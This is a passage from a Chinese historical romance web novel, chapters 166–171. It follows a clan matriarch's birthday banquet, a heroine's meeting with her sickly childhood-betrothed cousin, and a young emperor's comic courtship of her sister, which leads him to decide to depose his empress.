那双猫眼在看见姜璎到来的一瞬间,绽放出异样美丽的光彩。
姐姐!
姜璎自动屏蔽脑海冒出的声音,上前行礼,“晚辈拜见老夫人。”
袁老夫人居于上座,她望着姜璎,声音不自觉轻柔,“上前来我瞧瞧。”
姜璎今日穿的一身极其鲜艳的衣裳,萧止柔特意让绣娘赶工出来的,深红的曲裾搭配白绫裙。
曲裾的领口袖口藏着精细的梅花暗纹,底下白绫裙绣了一支绛梅。
她身上首饰不多,只腰间缀了块和田桃花玉,腕上一串南红手串,还有发髻上的白玉梅花簪,件件都是精品。
这一番打扮下来,自是清艳至极。
姜璎依言上前。
袁老夫人仔细端详许久,眼神浮现一抹水光,转瞬即逝,她笑着感慨:“你那日大婚,我恰是风寒
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未愈,便没有前去观礼,如今总算是见着了。”
姜璎抿嘴一笑,“老夫人身体重要。”
她能感受到来自两侧长辈的目光,萧止柔坐在左下方第一个位置,望着姜璎的目光满是温柔。
“阿池别怕,都是自家人。”
“没错。”袁老夫人拉着姜璎在身边坐下,和声道,“我同你大母是嫡亲的堂姐妹,当年,我嫁琅琊王氏,她嫁兰陵萧氏,虽一年到头见不了几次,可同为袁氏女,永远是打断骨头连着筋。”
从辈分上来说,萧止柔应该唤袁老夫人为从母(姨母)。
袁老夫人为姜璎介绍道:“这位,郗老夫人,她是你大母的表妹,也是你姨母的大家(婆母)。”
“这位,沈老夫人,汝南袁氏三房嫡女,我同你大母的堂妹,随的是母姓,当年嫁了陈郡谢氏。”
“还有这位,她是你母亲嫡亲的表姐,汝南袁氏之女,因为出生的早,嫁到顾家,躲过了灭族之祸,你就唤她顾夫人吧。”
姜璎听完,上前一一行礼。
自前朝起,侨姓以王谢袁萧为尊,吴族以顾陆朱张为尊,两者之间经历了百年的磨合,哪怕相互联姻,也始终泾渭分明。
直到前朝覆灭。
高家一跃而起,对侨姓吴族一视同仁的打压,双方才开始抱团取暖,逐渐融合。
至于赵家?不过是忘恩负义之辈!
仗着萧家子嗣薄弱,无有男丁,便联合高家篡位。
袁老夫人轻轻摩挲着姜璎的手背,温声道:“阿薇常说,你同阿蘅相像,依我看,分明更像你大父才是。”
郗老夫人微微眯眼,似陷入回忆,再看姜璎,也点头赞同,“是,跟姐夫完全一个模子里刻出来的。”
“姜明昭和阿蘅本就是表兄妹,外甥像舅,阿池像她大父也不奇怪。”顾老夫人道。
“对了,阿祭呢?来了没有?”沈老夫人问。
萧止柔在她们里头辈分最小,年纪也最小,起身道:“我去看看。”
她领了姜珞出去。
只留下姜璎一人,独自面对这些长辈。
袁老夫人笑了笑,“阿薇跟你提过没有阿祭没有?”
姜璎答道:“提过的。姨母说表兄身子骨不好,舟车劳顿,难免辛苦,故而迟迟未到盛京。”
“他昨儿个刚到,一会儿让你见见。”袁老夫人看出姜璎拘谨,拍了拍她的手笑道,“你年纪小,自去外头玩儿吧,不必在这陪我们这些老家伙。”
姜璎抿了抿嘴,脸颊微微凹陷。
郗老夫人笑道:“不用不好意思,去玩儿吧。”
姜璎被仆婢领了出去。
她走以后,顾夫人暗暗皱眉,对袁老夫人道:“阿姑,阿池和阿祭可是有娃娃亲的,姜明昭怎么能把阿池嫁给赵咎?”
袁老夫人闭了闭眼,捻着手中的佛串。
郗老夫人冷哼一声,“汝南袁氏如今现状,他姜明昭又不是傻的,岂能看得上阿祭?”
沈老夫人摇了摇头:“好了,事已至此,就不要说了。若没有赵咎,阿薇也不能认回阿池。”
提及此事,几人也不再言语。
或许冥冥之中一切自有注定。
·
二更迟一点
第167章 混蛋
寿宴尚未开始,但宾客已然来得差不多,院子里处处都是走动的仆婢。
“大姑娘,女君在这边。”袁老夫人身边的仆婢恭敬道,唤的是姜璎未出阁前的称呼。
女君自然就是萧止柔。
姜璎顿住脚步,偏头看了香附一眼,香附立马领悟,笑着上前道:“梁女君恐怕有要事在身,还是不打扰了。劳烦姐姐带路,领我们去卫国公世子夫人那边吧。”
仆婢愣了一下,低头道:“唯。”
直到远远看见王氏她们,姜璎才松了口气,像幼兽找到族群,一颗心彻底安定下来。
“大嫂、二嫂。”
“怎么了?小脸煞白的。”郑氏拉着姜璎在自己身边坐下,调笑道,“有人欺负你了?”
姜璎摇了摇头。
王氏嗔怪道:“阿郑,别胡说。”
士族高门向来同气连枝,尤其上姓之间,往往都是内部联姻。
以姜璎的身份,只要她愿意,完全能在今日的场合里如鱼得水,众星捧月。
今非昔比,谁能欺负得了她?谁又敢欺负她?
郑氏笑道:“我这不是逗逗她吗。”
趁王氏起身更衣,她还是不放心,低声问道:“你去老夫人院里头,没受委屈吧?”
姜璎心里暖洋洋,同样小声道:“没有。都是自家亲戚长辈,待我很是亲切。”
袁老夫人等人对姜璎的疼爱毋庸置疑。
她身上同时流着兰陵萧氏和汝南袁氏的血,她母亲是嫡长女,她亦是嫡长女,一张肖似梁帝的面容,足以令所有袁氏姻亲动容。
“那你怎么看着不太高兴?”郑氏问。
姜璎捧着茶,低声道:“我小时候的娃娃亲今日也来了,我趁人还没到,先跑为妙。”
免得到时候赵咎知道。
他心眼小,爱记仇,醋能当饭吃。
白天不动声色,全留到晚上可了劲折腾。
姜璎算是怕了他了。见表兄可以,但袁老夫人她们要是打着“和离再嫁”的主意,她指定不答应。
娃娃亲?
不会是汝南袁氏那位吧?
郑氏正想打趣“你们可是顶顶亲厚的表兄妹”,话到嘴边忽然想起萧家和袁家灭族的原因,一下子闭嘴。
正好王氏回来了。
她身后跟着姜珞,姜珞看见姜璎,眼眸一亮,“姐姐!”
不忘对王氏道谢,“多谢世子夫人带我找姐姐。”
姜珞只要不闯祸,凭借一双宝石般的漂亮猫眼,再甜甜一笑,没人会不喜欢她。
“你不陪在姨母身边,过来做什么?”姜璎皱眉道。
“我想姐姐了嘛。”姜珞撅了撅嘴道,跪坐在姜璎身边,说悄悄话,“表兄跟在姨父身边,姨母还想领他去见老夫人的,但他一个劲地咳咳咳,想想还是算了。”
袁老夫人风寒才好没多久,又一把年纪,要是被袁遗过了病气,那事情可就大了。
姜璎看了姜珞一眼。
姜珞嘻嘻笑道:“姐姐,你放心吧,我是不会让任何外男靠近你的。”
表兄也不行。
咳咳咳个不停,跟痨病鬼似的,传染了姐姐怎么办?
姜璎忍俊不禁,压低声音道:“那就拜托浓浓保护我了。”
姜珞重重点头,“嗯!”
上流社会有“举乐必昏”的习俗,昏礼宴饮都在傍晚时分开席,既显隆重,又方便夜间延续。
眼看着就要酉时,萧止柔那边连着两次派仆婢来请,姜璎再也躲不过去。
王氏笑道:“你去吧。”
郑氏冲她眨了下眼,“放心,我一会儿去找你。”
姜璎苦笑一声,姨母的心思她多少能猜到点,又不好言长辈的不是,只能硬着头皮面对了。
姜珞想了想,“姐姐,我去更衣,马上就来找你!”
她走得飞快,姜璎都来不及喊,只好一个人跟上仆婢,穿过长廊,走进月洞门。
萧止柔冲她招手,“阿池,你看这是谁?”
姜璎远远就看见一抹青色,走近之后,也没细看,便屈膝行礼,“阿池见过阿兄。”
站在萧止柔身边的少年不禁莞尔,“阿妹不必多礼。”
他身着淡青色深衣,头束一方巾,晚霞余晖映在如玉般的脸上,稍稍减去了几分苍白病气,凤眸弯起时,笑意盎然,可谓是真真正正的容止端雅,气韵不凡。
袁遗,汝南袁氏最后的嫡系遗孤。
名字还是袁老夫人给取的。
阿祭是他的小名,便是要他时时刻刻记住,汝南袁氏死了多少人。
另一边。
姜珞好不容易找到赵咎,把他拽到无人的角落,“姐夫,大事不妙!你要有下堂的危机了!”
赵咎心领神会,“你姨母是不是给你姐姐引荐了什么乱七八糟的人?”
姜珞连连摇头,赵咎还没松一口气,就听她道:“不是乱七八糟的人,那可是姐姐正儿八经的表兄,小时候口头定过娃娃亲的。”
赵咎:“……”
姜珞嘻嘻一笑,“姐夫,你快想想办法,把姐姐救出来,不然说不定什么时候就要下堂了。”
“啊?”
这声音自不远处响起。
姜珞偏头望去,蓦然睁圆眼睛。
然而等人走到面前,她又想起什么,冷哼一声,鼻子不是鼻子,眼睛不是眼睛。
明惠帝今日是轻装简行,本就不欲大张旗鼓,是以只着一身常服。
看着越发温润如玉,翩翩君子。
但姜珞却一点儿好脸色也没有,甚至对赵咎都语气恶劣起来。
“你快点想!想不出来,我就帮姨母去了!”
赵咎真想揍她一顿,这是跟姐夫说话的态度吗?他还没下堂呢!
奈何明惠帝站在边上。
他只能忍耐道:“你去,就说……陛下来了,要亲自给王老夫人贺寿。”
明惠帝:“啊?”
不是说好低调的吗。
姜珞推了他一把,“啊什么啊?你就这点用处了。让开,别挡道!”
写的那破诏书,一点儿用也没有!
还害她挨了一顿打!
姜珞想起来就生气,走之前还不忘踩明惠帝一脚。
明惠帝一头雾水,又委屈又迷惑,看了看姜珞背影,又看了看赵咎。
“不是,我也没惹她啊。”
“这个不重要。”赵咎道,“我先带你去见王家伯父,然后再让他带我们拜见老夫人。”
“你不是说等筵席结束,再去拜见吗?”
赵咎抬眸,用一种“你怎么这么不懂事”的眼神看他,“等筵席结束,我就要成下堂夫了!你还是人吗?说出这种话。”
“……”
明惠帝对姜珞的态度耿耿于怀,总觉得哪里不对劲,“阿劫,你老实交代,是不是背地里说我坏话了?”
赵咎道:“这个不重要。”
明惠帝:“重要。”
两人僵持了一会儿。
赵咎心虚挪开眼,避重就轻:“那日她拿着诏书回来,我以为她犯大不敬的罪,就抽了她三下手心。”
明惠帝没被糊弄过去,“用什么抽的?”
赵咎:“这个不重要。”
明惠帝盯着他。
“行行行。”赵咎真没辙了,“竹条,就用竹条轻轻打了三下,估计她以为那诏书没用,四舍五入就觉得你这个人没用,所以迁怒上了。”
“……”明惠帝默默咬牙,“赵咎,你纯粹就是个混蛋。”
赶紧变成下堂夫吧!
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第168章 算数
正堂里,自萧止柔领着姜璎跟袁遗过来,袁老夫人脸上的笑容就再也没有下去过。
她一手拉着一个,先把袁遗狠狠骂了一顿,“你这没良心的,非要我派人三请四催,才肯过来,一点儿也比不上你阿妹懂事。”
袁遗想说话,又忍不住咳嗽,以拳抵唇闷咳好几声,面色苍白无华。
姜璎递了块帕子过去。
“多谢、咳,阿妹。”
“阿兄言重了。”
袁老夫人拢了拢眉心,很快又舒展开,和声道:“我们阿池是个会照顾人的。”
袁遗以帕捂嘴,咳了几声后,声音显得格外虚弱无力。
他无奈道:“二祖姑,您也瞧见了,我这身子骨…实在不中用。还是离您远一些,免得过了病气。”
袁老夫人沉沉地叹了口气。
袁遗的祖父和袁皇后是一母同胞的亲兄妹,汝南袁氏被灭门之后,嫡系只剩下一个嫡幼子,也就是袁遗的父亲袁素。
被灭门那年,袁素五岁,唇红齿白、聪颖好学,是建康出了名的小神童。
人人都说,汝南袁氏有此子,定能再兴旺百年。
袁素自己也这么认为。
直到家族覆灭,他被扔进大牢,再出来时双目失明,沦为半残。
一双眼,换了一条命。
自此,袁素在世上苟延残喘。
袁遗的出生是个意外,他满月当日,父母双亡,被家仆抱着投奔亲戚,四处走动关系,这才留下一条命来。
可惜,不知道是不是先天不足的缘故,袁遗自幼体弱多病。
“阿祭,这次进京,就不要走了,留下来陪陪我这个老太婆。”袁老夫人叹道。“你阿妹也是命途多舛,前几个月才找回来。”
“你们两个,是我最放心不下的……”
话没说完,袁遗又捂着帕子咳嗽起来。
他弓着腰,咳得面色涨红,气吸急促,场面一度十分骇人。
“快、快扶着些!”袁老夫人道。
“别、咳咳咳!”袁遗一手捂嘴,一手推开姜璎。
没用多大力,但姜璎顺势而为,踉跄了一下步子,萧止柔忙将她搂到怀里,“阿池不怕,不怕,姨母在这儿呢。”
这对素未谋面的表兄妹,今日头一回见,便在无形之中达成了一种默契。
袁遗咳得惊天动地,差点背过气去,最后在仆婢的搀扶下去偏房休息。
袁老夫人忽然想起什么,忙看向姜璎,“阿池,我之前听大娘说,你熟知药理?”
大娘便是王氏。
姜璎从萧止柔怀里抬起头,还未答话,姜珞便脚步匆匆走进来,恭敬道:“老夫人,姨母,陛下来了。”
什么?
袁老夫人等人心中一惊。
倒是萧止柔,皱了皱眉,不大相信地看着姜珞,“陛下怎么会突然到此?莫不是你胡说的吧?”
“女君勿怪。”
陌生的男声响起。
如玉磬之音,悦耳动听。
正堂里的人同时一愣,就见门口站着一个广袖长袍的青年,丰神如玉,气韵高雅,脸上带着淡淡的笑意。
他身后只跟着容已一人。
袁老夫人等人赶忙起身,“老妇拜见陛下——”
还未弯腰下拜,便被明惠帝拖住手臂,他含笑道:“朕不请自来,还请老夫人勿要见怪。今日只叙家礼,不行君臣之仪。”
袁老夫人忙道:“陛下亲临,老妇感激涕零,喜不自胜。
明惠帝笑道:“老夫人不必客气,今日您是寿星,我与在场诸人一样,都是为您贺寿而来。”
“母后常说,卫国公府能有今日的和气安稳,多亏了世子夫人,这也是老夫人您教导有加的成果。”
……
很快,得了消息的王家主等人赶过来。
正堂热闹得不行。
趁这个机会,姜璎拉着姜珞的手,悄悄退下。
姜珞可不管明惠帝的死活,高高兴兴邀功道:“姐姐,我是不是来得很及时?”
姜璎点了点头,又纳闷道:“怎么这么巧,陛下也来王家了。”
姜珞眼里闪过一丝心虚,“估摸着是闲着没事儿干,出来晃悠的。姐姐,别管他了,你饿了没有?我们去吃点东西吧。”
明惠帝亲临的消息很快不胫而走。
席面越发热闹。
王家上下,连带着每一个下人都与有荣焉。
陛下亲临,代表的含义不言而喻。
有些人不禁想到朝中如今的情况。
梁家眼看就要倒台,到时候估计能腾出不少空位,而中书省里,中书令又即将告老还乡,论资排辈,最有可能的就是王家主。
王家与赵家又是姻亲,届时一个中书令,一个尚书令,强强联手……还不知道有没有他们说话的余地。
这一顿饭用得,有的人面带红光,有的人味同嚼蜡。
姜璎倒是不受任何影响。
进食结束以后,赵咎派人来接她,“女君,九郎在角门那等您。”
姜珞忙道:“姐姐,我要跟你一起。”
姨母的脑袋瓜太聪明了,跟算盘珠子成了精似的,拨一下都是心眼。
那会儿是没反应过来,等反应过来,萧止柔肯定能觉出其中蹊跷。
姜珞可不敢挑战姨母威严,还是先去卫国公府避避风头吧。
角门处停着两驾牛车。
暗处藏着侍卫上百人。
姜璎上了车,正要伸出手拉姜珞,被赵咎拦下,他对姜珞道:“我跟你姐姐有事商量,你坐后面那辆。”
姜珞嘟囔了一句“小气鬼”,但也还是乖乖地爬上另一驾牛车。
帘子掀开。
一股酒气扑面而来。
明惠帝支着额头,斜躺在里头。俊颜酡红,眼眸迷蒙,不大清醒的样子。
姜珞一下子炸毛了。
“什么意思!让我跟醉鬼坐一辆车?他到时候吐我一身怎么办?!”
明惠帝揉了揉额角,无奈道:“我不会吐的。”
牛车开始行驶。
姜珞臭着小脸,看也不看他。
明惠帝想解释,“我不知道阿劫打你手心……”
姜珞猛地转头,气冲冲道:“你还有脸提!”
许是酒气熏人,迷失了理智。
明惠帝看着她气鼓鼓的侧脸,鬼使神差般伸出手,轻轻戳出一个凹陷。
他小声道:“你之前说的,还算数吗?”
第169章 负责
听到这句话,端正跪坐在羊毛毯上的少女微微侧目。
她眉梢轻扬,那双剔透若宝石的漂亮猫眼落在明惠帝身上。
“你喝醉了么?”
熟悉的不耐,没有吓退明惠帝,反倒让他心中生出一种奇异的满足。
还以为会被打来着…
这个念头才冒出来,手就被姜珞一把攥住。
柔嫩而温热的手心覆了上来,顷刻间,燥热感顺着手背一路往上,直窜脑门。
明惠帝脸上的红晕加深,紧张得结巴了一下:“男、男女授——啊!”
还不等他把完整的一句话说完,姜珞就抓着他的手,使劲将修长手指往后掰,“不让我做皇后,还敢碰我!刚才哪根手指戳我脸?说!”
明惠帝一边倒吸气,一边坦白从宽:“食…食指。”
姜珞狠狠掐他指腹,掐出好几个指甲印,“再碰我脸,我就打死你!看你是不是真的活腻歪了!”
话音落地,外头车轱辘压到一块石头。
牛车一个震晃,姜珞没坐稳,整个身子往一旁栽去,她下意识要拽明惠帝作支撑,不过这个拉人垫背的恶行尚未实施,明惠帝就已经做出了选择。
“小心!”他着急道,一把握住了姜珞的手臂,眼疾手快地避免了她摔倒的下场。
车舆再次震晃。
姜珞控制不住身体,“啊——”她惊呼一声,重重地摔在明惠帝身上。
胸膛一沉,疼痛倍增。
左手臂几乎疼得动弹不得。
明惠帝忍不住倒吸一口冷气,沉重得闭了闭眼。
这滋味太熟悉了……八成又是脱臼。
姜珞双手撑在明惠帝的胸膛,慌忙起身,结果因为动作太着急,又撞到了他的下巴。
温热柔软的触感落在额头。
两人同时一愣。
明惠帝浑身僵住。
姜珞勃然大怒,抬手就要抽他,“你还敢亲我?!”
明惠帝脸上烧得慌,边躲边狼狈解释,“不、不小心碰到的。”
准确来说,是姜珞不小心碰到的明惠帝。
但很显然,姜珞就不是一个讲道理的人,她恼怒至极,抬手那一刻,眼看巴掌就要落下,明惠帝脱口而出道:“皇后!”
手掌停在半空。
姜珞凶巴巴道:“你说什么?”
明惠帝试探性地握住了姜珞的手,热乎乎的手心,打在脸上肯定很疼。
“我说,让你做皇后。”
“什么?”姜珞有些没反应过来。
明惠帝脸颊通红,磕磕绊绊的,小声道:“我、我会负责的。让你做皇后,你,别生气…好不好?”
姜珞眨了下眼睛,被怒火冲昏的头脑渐渐清醒,半信半疑地看着他,“真的?”
其实就现在看来,做不做皇后也没什么要紧的。
梁家倒台在即,梁皇后先是流了孩子,又了失去娘家这个依靠,就算能和明惠帝破镜重圆,也肯定回不到从前。
唔…不过呢,还是防患未然的好。
毕竟姨母说了,斩草不除根,春风吹又生!未免后患无穷,埋下祸根,她还是答应吧!
明惠帝红着脸点头,上一刻刚说完“真的”,下一刻就被扑了个满怀。
姜珞欢呼道:“好耶!”
目的达成,骄纵的小猫用贴贴奖励,甚至还颇为赏脸地露出一个大大笑容。
“放心吧!等我做了皇后,会对你很好的。”
明惠帝被蹭得脸颊滚烫,就连脱臼的手臂也仿佛没那么疼了。
她不会骗他的,对吧?
姜珞敷衍完就松开明惠帝,扇门推开,她迫不及待问道:“还有多久到卫国公府?”
把容已吓了一跳。
他还以为姜珞是问责方才的震晃——赵咎故意扔下的石头,他不能说也不敢说,只能自己背了黑锅。
结果没想到,姜珞心情还不错?
容已忙道:“二姑娘放心,马上就到了。”
“好吧。”
姜珞勉为其难坐了回去。
车舆内一股酒气。
说难闻也算不上,就是闷得慌。
明惠帝满脸通红,热意迟迟不退,搞得姜珞都怕他喝酒喝中毒了。
“你怎么样啊?不会死吧?”
“……”
那双漂亮的眼睛倒映着明惠帝的身影。
他想,她一定是在关心他。
“问你话呢?哑巴啦?”
“没事。”明惠帝立马道。
明惠帝不善饮酒,平日小酌也多以清甜温和的梅酒为主。今日难得喝了一盏烈酒,所以才有些晕乎乎。
酒意上头的时候往往会做出许多冲动的事情。
但明惠帝回忆了一下,他一点儿也不后悔。
脱臼的手臂无法动弹,他若无其事靠在车壁,开始有条不紊地安排。
“我说过负责,一定不会食言。你等我回宫,处理好一切,再给姜使君送信商议亲事。这样可以吗?”
“唔,都行吧。”
姜珞不太懂流程,反正只要明惠帝答应就行了。
潜意识里,她似乎十分确信,他是一个守信重诺的人。
牛车慢悠悠停了下来。
“二姑娘。“仆婢们在外头等候。
姜珞连忙下车,直接把明惠帝抛之脑后,白芨惴惴不安,隐晦地看了一眼车舆,生怕姜珞脾气上来把皇帝也给打一顿……
“姐姐呢?”
“女君在前头等姑娘。”
姜珞往前望去,见卫国公府门口站着两个人,那可不就是她美丽的姐姐和碍眼的姐夫吗?
她笑嘻嘻迎上去,习惯性抱住姜璎手臂,“姐姐,外头风大,你不用等我的。”
姜璎也是刚才知道,姜珞竟然是跟明惠帝共用一辆牛车。
她瞪了一眼赵咎,男女授受不亲的道理他不懂吗?
“浓浓,陛下……”
“陛下怎么了?”姜珞见姐姐一脸担忧,恍然大悟道,“他在里头躺着呢。姐姐你放心,没死!好好的!”
姜璎:“……”
赵咎:“……”
很好,这话一出,担心的对象瞬间换成了明惠帝。
姜璎忍不住道:“你没欺君犯上吧?”
姜珞一脸无辜,“怎么会呢?姐姐,你是不是对我有什么误解?”
姐妹俩对视许久。
姜珞理直气壮。
姜璎没看出什么,只好打消了怀疑,“是我多想了。不过,浓浓,你可不能对陛下无礼。”
又保证道:“今日的安排太过草率,不会再有第二次了。”
明惠帝不仅是外男,更是君王,赵咎怎么会想到让浓浓和他坐在一辆车里呢?
姜珞小鸡啄米的点头,不放过任何一个踩赵咎的机会,她靠在姜璎的肩头,扮柔弱道:“姐姐,你不知道,我进去以后吓了一跳!高…陛下躺在那儿,我还以为死了个人…唔。”
姜璎一把捂住她的嘴,手动消声,警告道:
“你再胡说八道,信不信哪天陛下砍你脑袋。”
第170章 自省
明惠帝回宫第一件事就是传唤邢如风。
寝殿里,时不时传出几声抽气。
“你轻一点,疼、疼疼!”
“一回生二回熟,你忍一忍,我动作很快的。”
“不行忍不了!这次拖太久了,比上次还疼!”
“我没来之前你怎么忍的,现在就怎么忍,行了别说话。”
邢如风下手又快又准,伴随着一声惨叫,骨头正位。
“你看,这不就好了吗?”
邢如风提起小药箱,准备回去补觉,没走两步又返回来,脸上大写加粗狐疑二字,“陛下,您不是去贺寿的吗,怎么几个时辰不见就变成这样了?难不成,被不知道哪路神仙给行刺了?”
提到这个,明惠帝脸腾地红了。
有八卦!
邢如风精神一振,放下药箱,扯来软垫,翩然落座,整个过程如行云流水,简直不要太熟练!
明惠帝轻咳一声,有些难为情道:“其实,也是我不好……”
习惯性反思自我作开头。
听得邢如风头皮发麻,赶忙打断道:“说重点!”
他就想知道是谁把明惠帝胳膊弄脱臼。
明惠帝目光飘忽,神情不自然的吐露出一个名字,见邢如风蓦然瞪大双眼,他忙解释道:“事出有因,她也不是有意……”
邢如风握手成拳,击在掌心,大声道:“我就知道你们俩不对劲!”
明惠帝:“……”
好奇得挠心挠肝,邢如风忍不住苍蝇搓手,凑跟前问:“是不是她想亲薄你,结果惨遭拒绝,一怒之下就把你给打了?”
明惠帝:“……”
邢如风着急道:“陛下,你快说句话啊!”恨不得直接上手摇晃明惠帝的肩膀。
明惠帝十分无语,“你闲着没事儿可以去写话本子。”
说完这句话,脑海不由自主浮现那双漂亮的眼睛,明惠帝微微羞赧,低声道:“她不是那种轻浮大胆的人,胳膊…是因为不小心压到才脱臼了。”
邢如风想象了一下得是什么样的环境,什么样的情形,才会不小心压到。
他小心翼翼看着明惠帝,“你俩被下药了?”
这句话简直如石破天惊,明惠帝被口水呛到,咳得满脸通红!
“咳、怎,怎么可能!”
“好吧……”语气听上去还有点遗憾。
明惠帝只觉得身体里残留的酒意再次发作,脸上烧的慌,“只是共坐一辆车!你想哪儿了去?”
了解完事情来龙去脉,邢如风摸了摸鼻子,显然有些心虚。
那能怪他思想龌龊吗?
还不是明惠帝!脸红成这样,不知道的还以为他被扒光衣服占了便宜,结果到头来,就是不小心碰到了人家额头?
嘁,没出息!
内心腹诽着,邢如风体察圣意,“那,陛下准备让她入宫?”
明惠帝点了点头,又立马摇头。
他道:“我明日去找母后商议此事,敲定之后,再书信一封,让人快马加鞭送到姜昀手中。”
邢如风:“……?”
不是,封妃而已,需要这么隆重吗?
明惠帝动作很快,翌日下朝,便前往长乐宫。
他几乎一宿没睡,思考着怎么跟母亲开口,腹稿打了一遍又一遍,努力装出一副沉稳的模样,沉声道:“阿娘,我要娶姜昀嫡次女为妻。”
赵太后还在想怎么撮合两人,若是入宫,是先封贵人,还是封夫人好呢?
结果儿子一句话,直接砸得她头晕眼花。
“你说什么?”
明惠帝忍不住脸红,强装镇定道:“我要娶姜珞为妻。”
赵太后下意识道:“那梁氏怎么办?你准备废了她,改立姜珞为后?”
话说出口,越想越不对劲。
赵太后起身来到儿子面前,“昨日你亲临王家,可是发生了什么?”
明惠帝沉默片刻,道:“阿娘,梁龚两家所犯恶行,与皇后脱不了干系,其中亦有我纵容之过。儿臣决定废黜皇后,降为淑妃,再下罪己诏,以慰百姓疾苦。”
罪己诏?!
这下,赵太后彻底不淡定了。
她断然道:“此事不可!”
罪己诏是皇帝在位期间,只有国家遭受重大灾难或自身犯下重大过错,才会向下颁布的诏书,代表的是皇权的自我批评、反省与忏悔。
“如今海晏河清,你怎能下罪己诏?”
海晏河清。
明惠帝不由苦笑道:“阿娘忘了,上半年,江南发生水患,蜀郡又遭地动,死伤无数,百姓流离失所……”
赵太后打断道:“那是天灾!上天岂能尽如人意?更何况,天灾无情,你尚且没有下罪己诏,如今又怎能为一妇人累及自己名声?”
明惠帝沉声道:“梁氏不是普通妇人,她是阿父为我择选的太子妃,是我的妻子。”
赵太后好笑道:“可你方才还说,要废黜梁氏,立姜珞为后。”
明惠帝抿了抿嘴,有些不好意思。
他轻声道:“在没有废黜之前,她依旧是我的妻子。梁龚两家人敢犯累累恶行,仗得不过是皇后的圣宠,而皇后执迷不悟、一意孤行维护娘家,归根结底,是我太过纵容导致的结果。”
“阿娘,是我没有管教好自己的妻子,这才使得无数百姓被侵占田地,饱受饥寒交迫之苦。更有甚者,含冤而死,家人求助无门。”
“皇后无德犯错,自当处罚,废黜后位。而我,也该好好反省自己。”
明惠帝从袖中取出一封诏书。
半夜睡不着,就顺手给写了。
赵太后气道:“你——”
明惠帝坚持,“阿娘,如果阿父知道的话,他也会赞同我的所作所为。”
赵太后实在没忍住,抬手打了他两下。
“你这性子,到底是像谁……”说着忽然想起一个人来,话语未尽,湮没唇齿。
像谁呢?
她心知肚明,心情复杂。
她与先帝都曾受阿叔教诲。梁帝不许赵堰几个对孩子太过严厉,责骂体罚更是严令禁止。
“他们是孩子,又不是傻子,好好讲道理难道还听不懂吗?”
后来,赵简生下儿子,夫妻二人用上了阿叔的教育理念。
他们所教导的明惠帝,也如当初的梁帝一般。
谦逊宽和,时常自省。
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二更会晚一点,不用等~
第171章 废黜
赵太后无法阻止,也不能阻止她的儿子。
明惠帝虽然性情温和,但在他认定的人或事情上,总有一种难以言说的固执。
就如同他对待赵咎和梁皇后,不管旁人如何议论,他始终坚定不移地站在他们一边,打死也不动摇。他就是觉得小舅千好万好,哪里都好。
至于梁皇后……
“朝政要事,阿娘不干涉,但梁氏,你真的舍得废黜她的皇后之位?”赵太后不解道,“那你立姜珞为后的理由呢?又是什么?”
明惠帝没有说话,似乎在思考什么。
赵太后见状,不免心下一叹。
保养极好的手轻轻摁住明惠帝的肩膀,她轻声细语道:“湛奴,你好好想一想,今日的决定到底是意气用事,还是出自真心。阿娘虽然不赞成你一棵树上吊死,可也不希望你一时冲动,被情绪掌控。”
“你要废黜皇后,改立姜珞,可以。这是你身为皇帝的自由与权力,我相信,你有自己的理由。”
“只是……”赵太后深深望着儿子,“你真的放下阿泽了吗?”
明惠帝怔然。
放下了吗?
或许还是喜欢的罢。
毕竟这一份感情,从赐婚的诏书颁下,就开始慢慢发酵,之后更是随着时间流逝,变得愈发浓稠强烈。
怎么可能说断就断得干净?
“阿娘,我还是喜欢她的。”他抬起头,眼神浮现一种令人难以读懂的情绪,“但我不能再喜欢她了,我也…不想再喜欢她了。”
“为什么?”赵太后诧异道。
她没想儿子在一棵树上吊死,但也实在弄不明白,这个大傻子怎么就突然清醒开窍了?
明惠帝微微垂眸,低声道:“我一直有照着阿父的话去做,我喜欢阿泽,因为她是我的妻子,是我应当爱护一生的人。她很好看,很端庄,是一个合格的皇后。”
“可是,她好像一点儿也不喜欢我。”
他动了动唇,露出一个略显沮丧的笑容,在赵太后心疼的目光下,轻声道:“其实我也不在意这些。”
“感情都是培养出来的,我总想着,等以后有了孩子,我和阿泽,会像父亲母亲一样恩爱。”
说到孩子,明惠帝脸上的笑容慢慢掉了下去。
他揉了揉脸,深呼吸,努力不让自己陷入痛苦的情绪。
“阿娘,你不知道,阿劫喜欢姜璎的时候,我是多么的窃喜、洋洋得意,我觉得我们是一样的。”
“阿劫等到了两情相悦,我肯定也可以。”
“湛奴……”赵太后跪坐在了儿子面前,摸了摸他的脸,“是梁氏没有眼光。”
“是我们之间没有缘分。”到这个时候,明惠帝依旧秉持着君子品德,他从不在背后说人坏话,尤其是这个人如今还是他的妻子。
明惠帝看得很明白,“阿泽不是姜璎,我在她那,连已经死去的龚云菲都比不过。”
他到底不是圣人,做不到无私奉献,偶尔也会在爱人的途中略显疲惫。
更重要的是,他想得到回应。
哪怕只有一点呢?
“我不能在阿泽身上耗下去了。”明惠帝如是道,“这样对我、对她,都不好。”
“她愿意留在宫里做淑妃,哪怕日日祭拜常三郎,我都随她心意。她想出宫要自由,我也可以为她安排。”
祭拜常三郎?
赵太后微微眯眼,心中生出一股浓浓厌恶。
这个不知廉耻的女人!她当后宫是什么?是常三郎的灵堂不成!
“那你对姜珞,又是怎么个想法?”赵太后打断道。她的忍耐是有限度的,她实在不想从儿子口中听到有关于梁氏的一字一句!
“姜珞……”
明惠帝脸蓦地升温,宛如天边的火烧云,藏着一抹羞赧,“她说,会对我很好很好。”
赵太后:“……”
她无话可说。
看似清醒开窍了,实则还是大傻子一个。
“阿娘,她真的说了这个话!”明惠帝认真道,“我相信她,而且,她身上有一种旁人没有的东西。”
“是什么?”赵太后面无表情。
明惠帝回忆了一下,“她笑起来…很温暖。”说完点了下头,脸上不自觉露出笑容,“没错,就是温暖!”
赵太后:“……”
她对不起丈夫,也对不起家翁。
她给高家生了个傻子。
“阿娘。”
“好了,我不想再听。”赵太后道,只生一个是她这辈子最后悔的决定,没有之一!
明惠帝剩下的话全被堵在了嗓子眼,没人能理解他的内心。
亲娘也不行。
“姜氏女为后也不是不行,正好借此机会,拉拢秦州士族。”赵太后想了想道。
“是,况且姜昀如今为秦州刺史,只凭借长女与赵家的联姻,还不足以让他卖命。”明惠帝虽然在感情上蠢了点,但政事上还是有一定头脑的。
母子俩商议了小半个时辰,最后决定废黜梁氏。
至于立姜珞为后,自然还得经过姜昀同意。
“也不急在一时吧?”赵太后问。
“不急。”明惠帝下意识道,“她只说想做皇后,没具体要求时间。”
“……”
赵太后深思,她到底为什么会生出个赔钱货啊?
